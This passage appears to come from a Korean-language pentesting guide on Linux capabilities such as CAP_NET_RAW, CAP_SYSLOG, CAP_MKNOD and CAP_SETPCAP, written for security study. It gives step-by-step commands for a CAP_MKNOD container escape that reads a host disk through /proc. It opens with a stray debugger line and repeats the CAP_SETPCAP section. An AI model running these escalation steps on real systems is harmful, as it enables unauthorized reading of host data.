# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
CAP_NET_RAW 기능은 프로세스가 RAW 및 PACKET 소켓을 생성할 수 있도록 허용하여 임의의 네트워크 패킷을 생성하고 전송할 수 있게 합니다. 이는 컨테이너화된 환경에서 패킷 스푸핑, 트래픽 주입 및 네트워크 접근 제어 우회와 같은 보안 위험을 야기할 수 있습니다. 악의적인 사용자는 이를 악용하여 컨테이너 라우팅을 방해하거나 호스트 네트워크 보안을 침해할 수 있으며, 특히 충분한 방화벽 보호 없이 이를 수행할 수 있습니다. 또한, CAP_NET_RAW는 특권이 있는 컨테이너가 RAW ICMP 요청을 통해 ping과 같은 작업을 지원하는 데 필수적입니다.
이는 트래픽을 가로챌 수 있다는 것을 의미합니다. 이 기능으로 직접적으로 권한을 상승시킬 수는 없습니다.
바이너리 예제
만약 tcpdump 바이너리가 이 기능을 가지고 있다면, 네트워크 정보를 캡처하는 데 사용할 수 있습니다.
CAP_NET_ADMIN 기능은 홀더에게 네트워크 구성을 변경하는 권한을 부여합니다. 이는 방화벽 설정, 라우팅 테이블, 소켓 권한 및 노출된 네트워크 네임스페이스 내의 네트워크 인터페이스 설정을 변경하는 능력을 포함합니다. 또한 네임스페이스 간 패킷 스니핑을 가능하게 하는 프로미스큐어스 모드를 활성화할 수도 있습니다.
CAP_SYS_BOOT은 시스템 재시작을 위한 reboot(2) 시스템 호출을 실행할 수 있게 해줄 뿐만 아니라, 특정 하드웨어 플랫폼에 맞춘 LINUX_REBOOT_CMD_RESTART2와 같은 특정 명령도 실행할 수 있게 해줍니다. 또한 Linux 3.17부터는 새로운 또는 서명된 크래시 커널을 로드하기 위해 kexec_load(2)와 kexec_file_load(2)를 사용할 수 있게 해줍니다.
CAP_SYSLOG
CAP_SYSLOG은 Linux 2.6.37에서 보다 포괄적인 CAP_SYS_ADMIN으로부터 분리되어 syslog(2) 호출을 사용할 수 있는 능력을 특별히 부여합니다. 이 능력은 kptr_restrict 설정이 1인 경우, /proc 및 유사한 인터페이스를 통해 커널 주소를 볼 수 있게 해줍니다. Linux 2.6.39부터는 kptr_restrict의 기본값이 0으로 설정되어 커널 주소가 노출되지만, 많은 배포판에서 보안상의 이유로 이 값을 1(주소를 uid 0 이외에서 숨김) 또는 2(항상 주소를 숨김)로 설정합니다.
또한, CAP_SYSLOG는 dmesg_restrict가 1로 설정된 경우 dmesg 출력에 접근할 수 있게 해줍니다. 이러한 변경에도 불구하고, CAP_SYS_ADMIN은 역사적인 선행 사례로 인해 syslog 작업을 수행할 수 있는 능력을 유지합니다.
CAP_MKNOD
CAP_MKNOD는 mknod 시스템 호출의 기능을 확장하여 일반 파일, FIFO(명명된 파이프) 또는 UNIX 도메인 소켓 외에도 특수 파일을 생성할 수 있게 해줍니다. 이는 다음과 같은 특수 파일의 생성을 허용합니다:
S_IFCHR: 터미널과 같은 장치인 문자 특수 파일.
S_IFBLK: 디스크와 같은 장치인 블록 특수 파일.
이 능력은 디바이스 파일을 생성해야 하는 프로세스에 필수적이며, 문자 또는 블록 장치를 통해 직접 하드웨어와 상호 작용할 수 있게 해줍니다.
이 능력은 다음 조건에서 호스트에서 권한 상승(전체 디스크 읽기를 통해)을 수행할 수 있습니다:
호스트에 초기 액세스 권한이 있어야 합니다(비특권).
컨테이너에 초기 액세스 권한이 있어야 합니다(특권(EUID 0) 및 유효한 CAP_MKNOD).
호스트와 컨테이너는 동일한 사용자 네임스페이스를 공유해야 합니다.
컨테이너에서 블록 장치를 생성하고 액세스하는 단계:
일반 사용자로서 호스트에서:
id를 사용하여 현재 사용자 ID를 확인합니다. 예: uid=1000(standarduser).
대상 장치를 식별합니다. 예를 들어 /dev/sdb입니다.
root로서 컨테이너 내부에서:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
호스트로 돌아가기:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
이 접근 방식은 공유된 사용자 네임스페이스와 장치에 설정된 권한을 이용하여 표준 사용자가 컨테이너를 통해 /dev/sdb에서 데이터에 접근하고 잠재적으로 읽을 수 있게 합니다.
CAP_SETPCAP
CAP_SETPCAP은 다른 프로세스의 능력 집합을 변경할 수 있는 프로세스에게 권한을 부여합니다. 이를 통해 효과적인, 상속 가능한 및 허용된 집합에서 능력을 추가하거나 제거할 수 있습니다. 그러나 프로세스는 자신의 허용된 집합에 있는 능력만 수정할 수 있으며, 다른 프로세스의 권한을 자신보다 높일 수 없도록 합니다. 최근의 커널 업데이트에서는 이러한 규칙을 강화하여 CAP_SETPCAP이 자신 또는 자손의 허용된 집합 내에서만 능력을 감소시킬 수 있도록 제한하였으며, 이를 통해 보안 위험을 완화하고자 합니다. 사용을 위해서는 효과적인 집합에 CAP_SETPCAP이 있어야 하며, 수정을 위해 capset()을 사용하여 대상 능력을 허용된 집합에 사용해야 합니다. 이는 CAP_SETPCAP의 핵심 기능과 제한 사항을 요약하며, 권한 관리와 보안 강화에서의 역할을 강조합니다.
**CAP_SETPCAP**은 프로세스가 다른 프로세스의 능력 집합을 수정할 수 있는 Linux 능력입니다. 이를 통해 다른 프로세스의 효과적인, 상속 가능한 및 허용된 능력 집합에서 능력을 추가하거나 제거할 수 있습니다. 그러나 이 능력은 사용에 일정한 제한이 있습니다.
CAP_SETPCAP을 가진 프로세스는 자신의 허용된 능력 집합에 있는 능력만 부여하거나 제거할 수 있습니다. 다시 말해, 프로세스는 자신이 가지고 있지 않은 능력을 다른 프로세스에 부여할 수 없습니다. 이 제한은 프로세스가 자신의 권한 수준을 초과하여 다른 프로세스의 권한을 상승시키는 것을 방지합니다.
또한 최근의 커널 버전에서는 CAP_SETPCAP 능력이 더 제한적으로 변경되었습니다. 이제 프로세스는 임의로 다른 프로세스의 능력 집합을 수정할 수 없습니다. 대신, 프로세스는 자신의 허용된 능력 집합 또는 자손의 허용된 능력 집합 내에서만 능력을 감소시킬 수 있습니다. 이 변경은 능력과 관련된 잠재적인 보안 위험을 줄이기 위해 도입되었습니다.
CAP_SETPCAP을 효과적으로 사용하기 위해서는 효과적인 능력 집합에 해당 능력이 있어야 하며, 대상 능력은 허용된 능력 집합에 있어야 합니다. 그런 다음 capset() 시스템 호출을 사용하여 다른 프로세스의 능력 집합을 수정할 수 있습니다.
요약하면, CAP_SETPCAP은 프로세스가 다른 프로세스의 능력 집합을 수정할 수 있게 해주지만, 자신이 가지고 있지 않은 능력을 부여할 수는 없습니다. 또한 보안 문제로 인해 최근의 커널 버전에서는 자신의 허용된 능력 집합 또는 자손의 허용된 능력 집합에서 능력을 감소시키는 것만 허용하도록 기능이 제한되었습니다.